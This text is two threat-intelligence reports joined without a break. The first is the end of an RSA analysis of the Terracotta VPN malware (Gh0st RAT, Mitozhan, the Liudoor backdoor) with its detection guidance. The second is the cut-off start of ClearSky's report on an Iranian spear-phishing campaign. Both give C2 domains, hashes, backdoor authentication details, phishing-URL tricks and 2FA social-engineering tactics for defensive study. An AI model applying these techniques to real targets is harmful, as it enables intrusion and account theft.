Terracotta compromised servers prior to February 2015. This malware is unusually large because it is padded with zeros. The large file size may have been a rudimentary attempt to avoid antivirus or network security systems. To be sure, absent the padding, a binary comparison proves that the sample is identical to the sample submitted to VirusTotal in July 2014 with MD5 of e421d07c316ab6e04fd0bfa122f1d953.7 Gh0st was coded originally for Windows XP. Though the dropper will successfully install on more modern Windows systems, there are unresolved issues with its installation on Windows 7 and Windows Server 2008R2. The dropper scans the Windows registry here: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\Netsvcs It finds the first unused (stopped and disabled) service that runs under service process svchost netsvcs. On typical Terracotta victim servers, this has been the FastUserSwitchingCompatibility service, which is a deprecated service left-over from Windows XP for compatibility. Since FastUserSwitchingCompatibility it is not an actual service that can run on versions later than Windows https://www.virustotal.com/en/file/9b8257000b05116a3631630c44b9f6b18c13e5bc5635c1fa3f20a01f70380909/analysis/ A sinkholed domain is one that was used by its owner specifically for malicious activity and thus subject to lawful seizure. Malware that is sinkholed is redirected to an analysis system controlled by researchers or law enforcement instead of the criminals. The sinkhole is then used for intelligence research and victim notification. http://www.mcafee.com/us/resources/white-papers/foundstone/wp-know-your-digital-enemy.pdf https://www.virustotal.com/en/file/3a2d5ce9f5f953f0499773a05f26317f9f6745352031bb8dafbb6aadf0e8e57b/analysis/ XP, Microsoft has omitted the service description text. So the Gh0st dropper scans to the next description, and artifacts arising from that issue include a misspelled and mismatched description for the hijacked FastUserSwitchingCompatibility which is Windows Sxitcway Firewall/Internet Connection Sharing (ICS) . A Google search for the word Sxitcway will reveal other malware that encounters similar platform compatibility problems. The dropper installs its service DLL named with five random letters with the following path in the normally hidden ProgramData directory. Example: C:\ProgramData\Application Data\Storm\update\%SESSIONNAME%\hbeya.cc3 The Gh0st service DLL binary in this location is approximately 22MB in size, and because the file is generated dynamically, has a unique file hash for each installation. Upon initial execution, the Gh0st RAT dropper is extremely busy, querying for some 75 URLs associated with legitimate antivirus vendors; however, no connections are made to these URL for C2. For control, the RAT connects to the IP found with a DNS query to vps.mm523.net on port 10000 using the same connection string as the cb1st variant of Gh0st analyzed by Norman in The Many Faces of Gh0st paper here: http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf RSA Research determined that some 240 systems around the world are infected with this Trojan, including approximately 100 Terracotta VPN nodes. Gh0st RAT GDS520 File Size: 204.5KB MD5: possibly 81c08ae40700d863f5dbd35599192962 and/or ef938cd1594b6b44507c6423cd39d5f5 C2: gds520.com:8086 (Active) Following the neutralization of the MM523 Gh0st RAT communication with the RSA Research seizure of its C2 domain, RSA Research observed malicious services installed by a dropper variant very similar to the MM523 Gh0st variant on newly compromised Terracotta victims. While similar to the Gh0st RAT MM523 build, this build we dub GDS520 has a different service DLL location and C2 URL. The GDS520 sample had been in the wild before the RSA Research sinkholing of mm523.net, based on the date two dropper variants were uploaded to VirusTotal. Similar to Gh0st RAT MM523, these variants are characterized by DNS lookups to multiple antivirus vendor update URLs, in addition to the C2 URL, gds520.com over port TCP port 8086. The Ghost RAT GDS520 service DLL is named with five random letters and is installed in the following location with the example file name: C:\ProgramData\DRM\%SESSIONNAME%\vxujx.cc3 Notably, the dropper deletes itself after successfully installing the RAT service. This is unlike the Gh0st RAT MM523 variant, which did not delete itself. Finally, the two GDS520 Ghost RAT variants found on VirusTotal were built with file properties to resemble a legitimate Microsoft program (Figure 9), and included a digital certificate as one of the executable s resources, which can be displayed in the file properties digital signatures tab (Figure 10). RAT files were appended with a digital signature taken from a legitimate file signed by Kaspersky Lab. Since the signature corresponds to a different file, it appeared as invalid. Any more than cursory review of the dropper executable properties would reveal the invalid signature. These dropper samples used the exact same Kaspersky certificate described in the article Certificate Snatching ZeuS Copies Kaspersky s Digital Signature by TrendMicro.8 http://blog.trendmicro.com/trendlabs-security-intelligence/certificate-snatching-zeus-copies-kasperskys-digital-signature/ Figure 9. Gds520 Gh0st RAT installer file details Figure 10. Gds520 Gh0st RAT installer with invalid code signing using Kaspersky public certificate On one compromised system investigated in May of 2015, forensic artifacts showed the source IP address of the GDS520 installer (Figure 11). Figure 11. Forensic artifacts left behind on a victim server by the actor downloading the GDS520 Gh0st RAT installer from a Beijing IP address A cache of the page indicated it was from a type of ephemeral file server known as HTTPFileServer (HFS)9. The HFS server cached page showed that the HFS daemon had been up for 4 minutes (Figure 12). Fortunately for the investigation, the ephemeral HFS daemon maintains usage statistics. Out of the 37 files available on the HFS page to the Terracotta actor, the GDS520 Gh0st RAT appeared to be the most commonly downloaded, with 1225 total downloads (Figure 12). http://www.rejetto.com/hfs/ Figure 12. HFS-hosted tool repository from which Terracotta actor downloaded the GDS520 RAT installed on victim server. Note the yellow-highlighted information for s.exe The HFS daemon was running on an IP address from a range assigned to a middle school in Beijing according to Whois information10 . Virus Total11 12 13 14 reveals that hosts in this IP range have been used, extensively in the first half of 2015, to host malicious tools including the GDS520 Gh0st RAT variant and other exploitation tools found on at least three Terracotta victim systems. Also notable in Figure 12 is the third most-often downloaded tool from the actor s HFS page, named Win64.exe15 . RSA Research found this on one Terracotta victim server, and determined this to be a variant of the Windows privilege escalation exploit tool as described by Crowdstrike in a blog post on Hurricane Panda16 . RSA Research does not know if the Beijing IP address range was leveraged exclusively by Terracotta operators. Mitozhan Trojan File Size: 87 KB MD5: 7b18614df95e71032909beb25a7b1e87 C2: vps.mm523.net:81 (sinkholed) This malware copies itself to the Windows directory (C:\Windows) and gives itself a new random name. Every time the malware runs, the executable name will vary but the file name length remains the same; 6 characters. Example: C:\WINDOWS\fatjse.exe The Image Path of the newly-copied file is then used to add a new service to the ControlSet Registry Key. This will ensure persistence on the infected machine. The name of the new service (GHIJKL NOPQRSTU WXY) might be suspicious to administrators. Example: RegKey Name: MACHINE\SYSTEM\CONTROLSET001\SERVICES\GHIJKL NOPQRSTU WXY RegKey Data: C:\WINDOWS\fatjse.exes\\0 The malware performs a DNS request to vps.xxxxx.net for resolution of its controller. The infected machine connects to the controller over TCP port 81 with the following initial connection string (Figure 13). Figure 13. Mitozhan C2 connection string Two strings of interest are revealed upon examination of the process in memory. %c%c%c%c%c%c.exe GET %s HTTP/1.1Content-Type: text/htmlHost: %sAccept: text/html, */*User-Agent:Mozilla/4.0 (compatible; MSIE %d.00; Windows NT %d.0; MyIE 3.01) Search engine results for the last part of the UA string MyIE 3.01 show the exact UA string mentioned in a blog post by FireEye in 201017 . The FireEye blog references another blog by researchers from Arbor Networks18. The latter blog describes in more https://whois.domaintools.com/211.153.xx.x https://www.virustotal.com/en/ip-address/211.153.xx.x/information/ https://www.virustotal.com/en/ip-address/211.153.xx.x/information/ https://www.virustotal.com/en/ip-address/211.153.xx.x/information/ https://www.virustotal.com/en/ip-address/211.153.xx.2xx/information/ https://www.virustotal.com/en/file/d7bd289e6cee228eb46a1be1fcdc3a2bd5251bc1eafb59f8111756777d8f373d/analysis/1429772817/ http://blog.crowdstrike.com/crowdstrike-discovers-use-64-bit-zero-day-privilege-escalation-exploit-cve-2014-4113-hurricane-panda/ https://www.fireeye.com/blog/threat-research/2010/10/avzhan-botnet-the-story-of-evolution.html http://www.arbornetworks.com/asert/2010/09/another-family-of-ddos-bots-avzhan depth the malware behavior, which shares several elements with the sample under investigation, including the use of a raw TCP connection to the server, the UA string in memory, and the pattern to generate the executable name. The legitimate properties and text depicted in the file appear to obscure the actual malicious intent. very popular photo markup program in China called 19 or Mito Xiu Xiu (Figure 14). The file is named after a Figure 14. Mitozhan file properties shares name and description with popular benign program RSA Research determined that approximately 180 systems were infected with this Trojan, approximately one third of which were active in the Terracotta VPN node ecosystem. Backdoor Liudoor File Size: 87 KB MD5: 531d30c8ee27d62e6fbe855299d0e7de20 C2: 0.0.0.0:3433 This is a simple backdoor similar to the common Portless Backdoor21 found running as a service on at least five Terracotta VPN victim servers, that RSA Research has dubbed Liudoor. It was installed as Windows\SysWOW64\rasauto.dll running as what would be the unused RasAuto service on victim Windows Server 2008 R2 systems. While RSA Research did not find the dropper for this backdoor, it could have just as easily been installed with a batch script. This sample binds to TCP port 3433 and waits for an incoming request, probably from a dedicated client used by its operator. It will send the 4 bytes "pass", it expects to receive the binary string "E10ADC3949BA59ABBE56E057F20F883E" (shown here in ASCII text). This is the MD5 hash of the ASCII string "123456". The backdoor process will compare what is passed from the client to that hard coded value, and if successful it will send back "succ", if not it will sent back "fail". Once the sample has successfully authenticated it will create a thread and pipe data back and forth to the Windows command shell process, cmd.exe. It takes the input and parses the string sent to the sample for 0x0D (the obfuscation XOR key) or carriage return...and then passes everything before that to cmd.exe. The shell can be halted with the "exit" command. Other hard coded binary options include a certain value that will run the console program nbstat.exe for NetBIOS network information, which might be useful to its operator for lateral exploitation of other Windows computers on the victim network. RSA Research found similar Backdoor Liudoor files on VirusTotal with the following characteristics: 78b56bc3edbee3a425c96738760ee40622 listens on port 3340 5aa0510f6f1b0e48f0303b9a4bfc641e23 listens on port 3433 2be2ac65fd97ccc97027184f0310f2f324 listens on port 1234 On more recently discovered Terracotta victims, Liudoor was observed to listen on TCP port 64111 or 33911. http://xiuxiu.web.meitu.com https://www.virustotal.com/en/file/ad1a507709c75fe93708ce9ca1227c5fefa812997ed9104ff9adfec62a3ec2bb/analysis/ http://www.symantec.com/security_response/writeup.jsp?docid=2003-122516-0717-99&tabid=2 https://www.virustotal.com/en/file/deed6e2a31349253143d4069613905e1dfc3ad4589f6987388de13e33ac187fc/analysis/ https://www.virustotal.com/en/file/4575e7fc8f156d1d499aab5064a4832953cd43795574b4c7b9165cdc92993ce5/analysis/ https://www.virustotal.com/en/file/e42b8385e1aecd89a94a740a2c7cd5ef157b091fabd52cd6f86e47534ca2863e/analysis/ DETECTING TERRACOTTA ACTIVITY IN RSA SECURITY ANALYTICS AND RSA ECAT Organizations with robust and consistently applied security controls on Internet-facing infrastructure should face little risk that their servers would be enlisted as VPN nodes by Terracotta actors. Two Fortune 500 companies that were identified as victims were exceptions as the comprehensive application of security controls fell short. More threatening to otherwise well-defended organizations is the threat of advanced threat actors originating from legitimate, but compromised, organizations. Any network connection with a Terracotta VPN node should be treated with great suspicion and investigated immediately. Built into RSA Security Analytics is the automatic threat intelligence aggregation and delivery system known as RSA Live. Updated Terracotta node IP addresses are provided in RSA Live as part of the suspect VPN node feed, and available upon request. In Figure 15, RSA Security Analytics has alerted on the Derusbi server handshake parser from RSA Live. It also has alerted on the source of the malicious Derusbi Command and Control (C2) which is a Terracotta node, described as a criminal VPN service exit node by Security Analytics. Figure 15. RSA Security Analytics detects advanced threat control of Derusbi server backdoor originating from Terracotta VPN Node In Figure 16, a redacted screenshot from RSA Security Analytics shows an alert on a suspicious login to an otherwise secure website from a Terracotta VPN node. Any authentication from Terracotta to an organization s secure websites should be treated as hostile and investigated accordingly. Figure 16. RSA Security Analytics detection of secure website login (redacted) from Terracotta VPN DETECTING TERRACOTTA MALWARE USING RSA SECURITY ANALYTICS AND ECAT An ounce of prevention is worth a pound of cure. Certainly this idiom from Ben Franklin applies to efforts to defend against this class of threats (not particularly sophisticated, opportunistic, but potentially very costly). RSA Research assesses that had the Windows firewall been turned on, and the default Administrator account been renamed in each of the victim systems examined, the systems would not have been compromised with the methods employed by Terracotta. Still, in both large and small organizations, a dichotomy may manifest between a Security 101 policy and application of that policy, especially in development and cloud environments. Note: This is not intended to be a cyber-hunter s cookbook for finding Terracotta activity with RSA Security Analytics and ECAT, but rather to offer takeaways on the indicators quickly identified by these tools. The out of the box Gh0st protocol parser from RSA Live detects the cb1st Gh0st protocol string used by both the GDS520 and MM523Gh0st RAT variants, highlighted in red in Figure 17. Security Analytics shows an actual victim system in Iran that was infected with the now-neutralized MM523 Gh0st RAT variant calling-back to a RSA Research sinkhole. Figure 17. Gh0st protocol employed by MM523 Gh0st RAT detected by RSA Security Analytics RSA ECAT will readily detect both Gh0st RAT variants employed by the Terracotta actors. In Figure 18, RSA ECAT has raised the Threat Level scores from low single-digit numbers to well above 100 when the GDS520 Gh0st RAT was installed. Figure 18. Raised threat level scores indicate malware infection on server and workstation Double clicking on the workstation in the RSA ECAT console will bring up details about the system, where an analyst can drilldown into the network connections, and responsible processes. In Figure 19, a Security Operations Center (SOC) analyst would be alerted by (illustrated in red boxes) the high score, the Suspicious Threads, and then hone in on the Gh0st C2 connections identified by RSA ECAT. Figure 19. Suspicious network connections to the Gh0st C2 Domain as seen in RSA ECAT console Figure 20. RSA ECAT uses IIOCs to identify floating code employed by Gh0st RAT malware In our Gh0st RAT malware scenario, the SOC analyst would be able to identify the infections of a server and workstation in RSA Security Analytics. The red boxes in Figure 20 illustrate Gh0st RAT protocol detection and botnet threat categorization by RSA Security Analytics. An analyst also might notice the unusual communications port. Figure 21. RSA Security Analytics alerts on system infected with Gh0st RAT as it calls back to C2 IP address on port 8086 While the particular variant of the Mitozhan Trojan described in this paper s malware analysis section has been neutralized by RSA Research with the seizure of its C2 domain; it is likely that other variants with different C2 domains persist. RSA developed a Lua parser to detect Mitozhan Command and Control (C2) activity, now available through RSA Live and included as an appendix. Figure 22 is a redacted screenshot showing the Mitozhan Lua parser in action as it alerts on Mitozhan C2 activity on a RSA Research sinkhole. Figure 22. LUA Parser used to detect the Mitozhan C2 Activity in RSA Security Analytics Mitozhan Trojan is also readily detected upon initial scan with RSA ECAT. Figure 23 shows the initial RSA ECAT console display for the infected system, with initial indicators marked in red boxes. Figure 23. RSA ECAT console shows infection with Mitozhan. Note the high threat score, file name with random letters, and the unsigned executable with Chinese name While RSA ECAT can detect a never-before-seen malware infection out-of-the-box without signatures, a well-prepared SOC will have signatures to help identify the threats behind the malware. That is where the built-in Yara features of RSA ECAT really shine. Yara is an open source tool that helps threat intelligence analysts and malware researchers classify and identify malware with granularity that no antivirus product can match. Using the Yara signature included in the Appendix, our example SOC analyst homes in on a suspicious rasauto.dll process identified by RSA ECAT as unsigned in Figure 24. By right-clicking on the suspicious process, the analyst can initiate a Yara scan using pre-configured rules Figure 24. ECAT s YARA integration allows the SOC analyst or incident responder to quickly identify malware that may be associated with a specific threat In this scenario, the SOC analyst has used ECAT to scan the suspicious process. As illustrated with the red box on the right of Figure 25, the Yara result is a confirmed infection with Liudoor. The Liudoor YARA signature is included in the Appendix Figure 25. RSA ECAT indicates the YARA scan results. Backdoor Liudoor found! For more technical details on how RSA ECAT can be used to proactively detect malware not discovered by traditional methods including antivirus, refer to the whitepaper RSA Incident Response: An APT Case Study. https://blogs.rsa.com/wp-content/uploads/2015/05/RSA-IR-Case-Study.pdf Terracotta Indicators Security Analytics have been loaded into following feeds Live: Firstwatch Threat Domains Firstwatch Command Control Domains Firstwatch Criminal Exit Firstwatch Insider Threat Domains PREVENTION Terracotta VPN operators are not using sophisticated methods to harvest their VPN nodes from vulnerable organizations around the world. RSA Research assesses that any one of the following hardening steps would have prevented each of the confirmed victim compromises: Block port 135 on external router and/or firewall There is no known business-use for having port 135 exposed to the Internet Recommend: hardware firewall configured with allow inbound by exception policy Rename Administrator account on all Windows systems to a unique alphanumeric name Use a strong (bi-case letters, numbers plus multiple special characters) 15 character+ password that does not use keyboard patterns Keyboard patterns are found in nearly all password cracking dictionaries Recommend: regularly change passwords In contrast to the simple security controls that can prevent enlistment of an enterprise s Windows servers into the Terracotta VPN node ecosystem, detecting advanced threat actors who are using Terracotta VPN nodes to hide their origin is more complicated. Infallible prevention may not be possible, and therefore detection is key. Use non-signature-based network analysis and end-point analysis capabilities such as provided by RSA Security Analytics and RSA ECAT to proactively detect and thwart compromise of your organization s network, before your most valuable asset---your information is compromised. ATTRIBUTION AND PATTERN OF LIFE Terracotta is a PRC-based operation that uses opportunistic, large-scale exploitation methods to obtain and augment a global, highly-marketable VPN service. RSA Research has no evidence suggesting that advanced threat actors such as Shell_Crew, or other suspected nation-state sponsored threat actor group is involved in any of the Terracotta exploitation activities. The attractiveness of the Terracotta ecosystem to advanced threat actors may be strictly utilitarian: a very low-cost platform for attacks that serves to ultimately reduce the probability of detection. All compromised systems investigated by RSA Research were enlisted by actors originating primarily from IP ranges in Dongguan and other areas of the Guangzhou megalopolis, or from the city of Wuhan. The Terracotta exploitation activity from Dongguan took place primarily during weekends and hours outside of the normal mainland PRC workday using the following Windows hostname: WEI-270FBC26C38 Forensic images reveal this hostname was consistently used in initial victim compromise from late 2013 through June 2015. Exploitation activity originating from Wuhan took place during normal PRC work week days and hours. The following hostname was used: QT-201312081446 In Terracotta system compromises investigated in 2015, there appeared to be coordination between the actor(s) originating from Dongguan IP addresses, and the actor(s) originating from Wuhan IP addresses. In six out of seven systems examined, the initial VPN test connection on a newly compromised server originated from Windows hostname WEI-270FBC26C38 with Dongguan IP address, which was shortly followed by a VPN test connection using the Windows hostname QT-201312081446 from a Wuhan IP address. Only after the successful connection from Wuhan was completed, did the node appear to be added to the Terracotta node list displayed by Terracotta brand software clients. CONCLUSIONS The Terracotta VPN system is marked by a grey-market anonymization ecosystem that is constructed, at least partially, of hacked servers. The Terracotta node ecosystem appears to enable better anonymity for advanced threat actors than would otherwise be allowed by a more conventional VPN service with a legitimate and transparent node infrastructure. APPENDIX Malware Sample Hashes Malware Domains Yara Signatures C2 Lua Parsers Terracotta User Account Authentication URLs AVAILABLE TO INDUSTRY PARTNERS UPON REQUEST Terracotta VPN Client Marketing Website Domains Terracotta Software Client Authentication Domains Current Terracotta Node List Email conops@rsa.com for more information. AUTHORS Kent Backman, Primary Research Alex Cox, Contributing Steven Sipes, Contributing Ahmed Sonbol, Contributing RSA Incident Response Team, Contributing RSA Labs, Contributing The authors would like to thank a number of colleagues from RSA and industry for their advice and assistance on this project. June 2015 Thamar Reservoir An Iranian cyber-attack campaign against targets in the Middle East Clearsky TLP:WHITE For public distribution ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 1of 18 Contents Foreword ..............................................................................................................................................................3 Modus operandi - investigation of targeted attacks ............................................................................................4 Part 1 -spear phish #1 - with malware .........................................................................................................4 Part 2 - phone calls to victims ......................................................................................................................5 Part 3 - spear phishing #2 ............................................................................................................................5 Part 4 - breaking into an Israeli research institute to set up phising page #3 .............................................7 Part 5 - spear phishing #4 ............................................................................................................................9 Part 6 - Abusing account recovery mechanisms ........................................................................................10 Part 7 - Private messages ...........................................................................................................................10 Targets and further incidents .............................................................................................................................12 Targets............................................................................................................................................................12 Further incidents ............................................................................................................................................13 The Iranian connection .......................................................................................................................................14 Malware analysis ................................................................................................................................................15 Macro .............................................................................................................................................................15 tmp.bat ...........................................................................................................................................................16 NTUSER.dat{GUID}.exe...................................................................................................................................16 CWoolger Keylogger .......................................................................................................................................16 Technical indicators and IoC ...............................................................................................................................18 Domains .........................................................................................................................................................18 IPs ...................................................................................................................................................................18 Malware .........................................................................................................................................................18 Malicious Email accounts ...............................................................................................................................18 ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 2 of 18 Foreword This report reviews an ongoing cyber-attack campaign dating back to mid-2014. Additional sources indicate this campaign may date as far back as 2011. We call this campaign Thamar Reservoir, named after one of the targets, Thamar E. Gindin1, who exposed new information about the attack and is currently assisting with the investigation. The campaign includes several different attacks with the aim of taking over the target s computer or gain access to their email account. We estimate that this access is used for espionage or other nation-state interests, and not for monetary gain or hacktivism. In some cases, the victim is not the final target; the attackers use the infected computer, email, or stolen credentials as a platform to further attack their intended target. The attackers are extremely persistent in their attempts to breach their targets. These attempts include: Breaching trusted websites to set up fake pages Multi-stage malware Multiple spear phishing emails based on reconnaissance and information gathering. Phone calls to the target. Messages on social networks. While very successful in their attacks, the attackers are clearly not technically sophisticated. They are not new to hacking, but do make various mistakes, such as grammatical errors, exposure of attack infrastructure, easy to bypass anti analysis techniques, lack of code obfuscation, and more. These mistakes enabled us to learn about their infrastructure and methods. More importantly, we have learned of 550 targets, most of them in the Middle East, from various fields: research about diplomacy, Middle East and Iran, international relations, and other fields; Defense and security; Journalism and human rights; and more. Various characteristics of the attacks and their targets bring us to the conclusion that the threat actors are Iranian. In addition, we note that these attacks share characteristics with previously documented activities: Attacks conducted using the Gholee malware, which we discovered. Attacks reported by Trend Micro in Operation Woolen-Goldfish. Attacks conducted by the Ajax Security Team as documented by FireEye. Attacks seen during Newscaster as documented by iSight. For further details and questions, or if you think you are a victim please contact us at: info [at] clearskysec.com Dr. Gindin is an expert on Iranian linguistics and Pre-Islamic Iran, renowned lecturer and research fellow at the Ezri Center for Iran and Persian Gulf Research in the University of Haifa. http://www.thmrsite.com/?page_id=198 ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 3 of 18 Modus operandi - investigation of targeted attacks This chapter contains an in-depth analysis of a series of attacks against one of the Thamar Reservoir targets. The heavy attack began two days after the target, Dr. Thamar E. Gindin, was interviewed on the IDF radio station2. Over the course of two weeks, the threat actor used the following attacks against a single target: 1. One spear phishing email containing malware. 2. Three separate email messages with links to a fake log-in page, (including two factor authentication), one of them hosted on a breached website, the other two on dedicated domains. 3. Two phone calls from the attacker, designed to build rapport for one of the phishing emails. 4. Numerous attempts to take over cloud accounts using their Account Recovery mechanism. 5. Numerous messages on Facebook and by e-mail. While we describe this case mostly from the point of view of a single target, we would like to emphasize that these scenarios repeated themselves for many other targets. Part 1 -spear phish #1 - with malware In May 2015 a legitimate email was sent asking several researchers to fill out a form that was sent as a Word document. The attackers obtained this correspondence, presumably by breaching the email account of the sender. They created a new Gmail account with a username similar to that of the original sender. Then, they sent the recipients a follow-up message (including the initial correspondence), asking them to fill up the attached form again. This time, the attachment was a weaponized Microsoft Excel file (The file is analyzed in the Malware analysis chapter of this report). In other cases the attackers used the same methods - sending malware or phishing from a cloud email service (such as Gmail or Hotmail) using a username similar to that used by one of the target acquaintances. The malicious email was written in the original language of the correspondence - Hebrew. But it is clear that the attackers do not know Hebrew, as they made grammatical errors in the few words they have added to it (the rest were copied from the original email). Other messages, in English and Farsi, were analyzed by several specialists3and were determined to have been written by a native Iranian Persian speaker. The interview revolved around her own way to being a linguist and an Iranist, and promoting her books "The Good, the Bad and the World - a Journey to Pre-Islamic Iran" and "The Book of Esther, Unmasked" Three of the targets are Iran and the Middle East researchers, and two of them are native Farsi speakers. Going through numerous messages they have received, and in one case a phone call - they have determined that the writer/speaker is native in Iranian Persian. ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 4 of 18 Below is an example of another case (the email includes the professional signature of the impersonated sender): Part 2 - phone calls to victims A week later, the attackers called the target s office number. The office manager, who received the call, later said that someone with bad English had asked to schedule an interview. The attackers later called the target s personal cell phone, and left a similar message with a callback number in London. The attackers called the targets in other cases as well. For example, after breaching the password of a victim back in November 2014, the attacker called, pretending to be the assistant of a professor abroad who wished to talk to the victim. After several unexplained cut-offs during the call, the attacker said they should switch to Google Hangout, asking for the conversation code the victim had just received to his cell phone. The code was actually the second factor authentication for the victim s Gmail account. As soon as he gave it away - the attackers took over his Gmail, Facebook and other accounts. Part 3 - spear phishing #2 That evening, the target received an email written in Farsi, coming from a spoofed persian@bbc.co.uk email address (the real address of BBC Farsi). The message was a follow up on the call that morning, asking to schedule the interview for the next day: ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 5 of 18 The headers of the message indicate that it was spoofed, and was actually sent from a server in Hungary, mail5.maxer.hu. The email contained a linked text, Document.pdf, with this URL: https://www.google.com/url?q=http://login-users.com/DriveAuto/AutoSecond?Chk=&sa=D&sntz=1&usg= The URL is composed of two parts. The first part is a legitimate Google.com address, with the q= parameter. The second part is the value of that parameter - a fake Google Drive log-in page in the attackers controlled domain - login-users.com. Upon clicking the link, the target is redirected to the address in the q= parameter. This is a trick the attackers use to mislead the target - making her think she is about to visit a legitimate Google website. The fake Google Drive log-in page was customized to the target; her real username was already filled in: ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 6 of 18 The Whois information for the domain is similar to those used in legitimate Google owned domain, except for the instead of in the registrant-email value: gmail-aduse@google.com: The attacker sent three follow-up emails to make sure the target had received the first one, from the same server in Hungary and with the Reply-To address saeed.kn2003@gmail.com. Part 4 - breaking into an Israeli research institute to set up phising page #3 The next morning, several targets received an email inviting them to participate in an "Iran Israel Forum an Israeli research institute. The email can be seen below (sensitive information has been redacted): The headers of the email indicate that they the email was not spoofed, and had been sent from the research institute. As can be seen, the email contained various grammatical mistakes. Moreover, anyone who knows ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 7 of 18 the institute would notice that parts of the message are inaccurate (this will not be elaborated here in order not to expose the institute s identity). The words Access To Forum linked to a page within the real, compromised, website of the institute. The page contained more information about the forum , and offered four sign in options, as can be seen in the screenshot below: Clicking one of the sign-in options led to a custom made log-in page, again, with the target s username, email, and picture already present: ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 8 of 18 After submitting a password, the victim is taken to the next fake page in which she is asked to submit the two factor authentication code she has just received to her phone: Upon submission, the victim is redirected to a static registration confirmed page. Interestingly, the log file for the previous pages was hosted publicly on the same virtual folder. The log contained the false credentials the target submitted (as she recognized this was a fake)4: We reported the breach to the institue, and they investigated and cleaned it off. They informed us that their own servers were never breached. Rather, a server run by a researcher who was givenn a virtual folder within their domain was. This, of course, did not change the end result - the attackers managed to implant a fake page within the Instititue domain, and were able to send an email using the same domain. This pattern is recurring: The attackrs go after low hanging fruits in order to reach their goal rather than using advnaced techincal means. Part 5 - spear phishing #4 Four days later, the target received the following email from the same fake address as in part 1: The pass filed intermingled with the IP filed in the original log, file due to bidirectionality issues. ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 9 of 18 The email contained the real textual signature of the sender, and the word Toda (Thank you, in Hebrew), as the sender usually writes. The hyperlink text in the message appeared to be leading to youtube.com, but in fact linked to a fake address that only looked like a YouTube domain. The page contained a private Youtube video , asking the viewer to sign in in order to watch it: After signing in, the page redirected to a specific interview in target s real YouTube channel - proving once again that the attacks are targeted and based on reconnaissance. Part 6 - Abusing account recovery mechanisms During the writing of this article, the attackers continued to attempt to take over various accounts of the target. For example, they tried to fool Google into giving them access to the target s Gmail accounts using the Google Account Recovery process5 (a process which in certain cases enables one to regain access to an account even if the password and other means of authentication are unavailable). The attackers tried similar methods against the target s account on Facebook and Yahoo, and had also set up a fake Hotmail account, which was used as the secondary email to which the recovered password should be sent. Part 7 - Private messages The target has been contacted by various weird characters on Facebook and by e-mail. They have been asking her various questions that have nothing to do with her professional expertise and tried to contact her in various ways. The conversation are conducted in Persian. We cannot find a direct connection between these Facebook characters and the above mentioned attacks. However, in addition to them happening close to the attacks, we do know that at least one of the accounts is fake. https://www.google.com/accounts/recovery/ ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 10 of 18 One of the fake characters who has engaged in conversation, is using throughout her profile pictures of a Russian model, and has presented herself as with different, contradicting, background stories in conversations with different targets. ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 11 of 18 Targets and further incidents Targets So far we have exposed a list of more than 500 targets by name and email. The targets come, mostly, from the following fields: Both Academic researchers and practitioners in the fields of counter-terror, diplomacy, international relations, Iran and Middle East, and other fields, such as Physics. Security and defence. Journalists and Human rights activists. Other similar fields. In some cases the attackers tried to breach the account of a relative or colleague of the real target. Below is the target distribution by country: ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 12 of 18 Further incidents We have investigated and can publicly mention the following incident by the same threat actor: A security company had numerous employees targeted with customized phishing pages. The attackers managed to infect computers within the company and steal information. In several other cases numerous employees from the same organization were targeted. A fake Gmail account was set up using the name of the head of a research center. Following, several of his contacts received targeted phishing email from the fake account. A fake domain has been set up, imitating that of the Interdisciplinary Center Herzliya , an Israeli college (unrelated to the research institute described above), and has been used in attacks. The table below correlates between the threat actor behind the Thamar Reservoir campaign and the name of threat actor or campaign, as given in other reports: Threat actor / campaign Correlations Certainty Gholee6 by Clearsky Overlapping infrastructure and malware. High Rocket Kitten7, Operation WOOLEN-GOLDFISH by Trendmicro Overlapping infrastructure and malware. High Ajax Security Team, Operation Saffron Rose8 by FireEye Similar TTPs and interests - Attacks against universities and researchers; Use of fake conference pages; Use of a domain that spoofs the name of the targeted organization. Medium Newscaster9 by iSight Similar TTPs - pretending to be a reporter in order to get close to approach the victim. Medium http://www.clearskysec.com/gholee-a-protective-edge-themed-spear-phishing-campaign http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-operation-woolen-goldfish.pdf https://www.fireeye.com/resources/pdfs/fireeye-operation-saffron-rose.pdf http://www.isightpartners.com/2014/06/uncovering-newscaster-experts-cyber-threat-intelligence/ ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 13 of 18 The Iranian connection Several characteristics of the attacks have led us to the conclusion that an Iranian threat actor is the likely culprit. We assume, though do not have direct evidence, that it is being supported by the Iranian regime, or performed by the Regime itself: The context of the attacks and cover stories all revolve around Iran. Importantly, as determined by several professionals - the attackers speak and write in native Iranian Persian and make mistakes characteristic of Persian speakers. In one of the hacked accounts, when retrieved, the interface language had been changed to Persian. The targets and victims match the interests of Iran. Moreover, rather than stealing money or performing high key cyber terror attacks (such as information leaks or deferments), the attackers only steal information and use the access to computers for further attacks - indicating espionage, IP theft , etc. The TTPs match those of attackers and attacks that were attributed to Iran by other security companies, as mentioned in the previous chapter. Some of the domains and IPs used by the attackers in the cases we investigated were mentioned and attributed to an Iranian threat group in an advisory by the Financial Sector Cyber Intelligence Group, and the Department of the Treasury, CIG Circular 3510 http://webcache.googleusercontent.com/search?q=cache:dzV7dGdsTU8J:theatre.fsu.edu/index.php/content/downlo ad/208893/1786893/file/20150311_WASP.pdf ______________________________________________________________________________ Clearsky - Cyber security. clearskysec.com Page 14 of 18 Malware analysis The malicious Excel file (mentioned in Part 1 - speared email message containing malware ) serve as a Dropper - it creates two files and runs them. When opening the excel file (.xlsb), the user sees a blank sheet and the standard "Macros have been disabled message. If enabled by the user, the macro drops NTUSER.dat{GUID}.exe and tmp.bat. The content of 